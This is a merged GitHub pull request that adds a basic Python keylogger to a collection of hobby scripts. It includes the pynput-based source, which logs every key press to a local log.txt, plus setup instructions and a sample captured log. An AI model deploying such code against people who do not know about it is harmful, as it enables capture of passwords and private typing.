Skip to content

Added KeyLogger and Updated README.md #240

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 3 commits into from
Nov 1, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 35 additions & 0 deletions OTHERS/KeyLogger/KeyloggerProject.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
import pynput
from pynput.keyboard import Key, Listener

keys = []



def on_press(key):
keys.append(key)
write_file(keys)

try:
print('alphanumeric key {0} pressed'.format(key.char))

except AttributeError:
print('special key {0} pressed'.format(key))


def write_file(keys):
with open('log.txt', 'a') as f:
for key in keys:
k = str(key).replace("'", "")
f.write(k)

f.write(' ')

def on_release(key):
print('{0} released'.format(key))
if key == Key.esc:
return False


with Listener(on_press=on_press,
on_release=on_release) as listener:
listener.join()
44 changes: 44 additions & 0 deletions OTHERS/KeyLogger/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
# To Run This KeyLogger Code Using Python

### **You need to install 'pynput'**

#### Steps to Install 'pynput'



**First create virtual env in your IDE and set it by using given commands**

##### macOS
```
python3 -m venv .venv
source .venv/bin/activate
```


##### Linux

```
sudo apt-get install python3-venv #If needed
python3 -m venv .venv
source .venv/bin/activate
```

##### Windows
```
py -3 -m venv .venv
.venv\scripts\activate
```

use this command in your virtual env to install pynput

```
pip install pynput
```


-------
**Now you can run this in your IDE**

###### **Your key log will be saved in 'log.txt' file**


1 change: 1 addition & 0 deletions OTHERS/KeyLogger/log.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Key.backspace Key.backspace Key.backspace Key.backspace Key.backspace s Key.backspace Key.backspace s d Key.backspace Key.backspace s d d Key.backspace Key.backspace s d d d Key.backspace Key.backspace s d d d Key.backspace Key.backspace Key.backspace s d d d Key.backspace Key.ctrl Key.backspace Key.backspace s d d d Key.backspace Key.ctrl c
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# Python-project-Scripts.
# Python-project-Scripts.

<a href="https://join.slack.com/t/ngc-goz8665/shared_invite/zt-r01kumfq-dQUT3c95BxEP_fnk4yJFfQ">
<img alt="Join us on Slack" src="https://raw.githubusercontent.com/netlify/netlify-cms/master/website/static/img/slack.png" width="165"/>
Expand Down Expand Up @@ -112,3 +112,4 @@ The contribution guidelines are as per the guide [HERE](https://github.com/larym
| 63 | [QtQuiz](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/QtQuiz) | [Eduardo C.](https://github.com/ehcelino) |
| 64 | [Umbrella Reminder](https://github.com/larymak/Python-project-Scripts/tree/main/AUTOMATION/Umbrella%20Reminder) | [Edula Vinay Kumar Reddy](https://github.com/vinayedula) |
| 65 | [Image to PDF](https://github.com/larymak/Python-project-Scripts/tree/main/IMAGES%20%26%20PHOTO%20SCRIPTS/Image%20to%20PDF) | [Vedant Chainani](https://github.com/Envoy-VC) |
| 66 | [KeyLogger](https://github.com/larymak/Python-project-Scripts/tree/main/OTHERS/KeyLogger) | [Akhil](https://github.com/akhil-chagarlamudi) |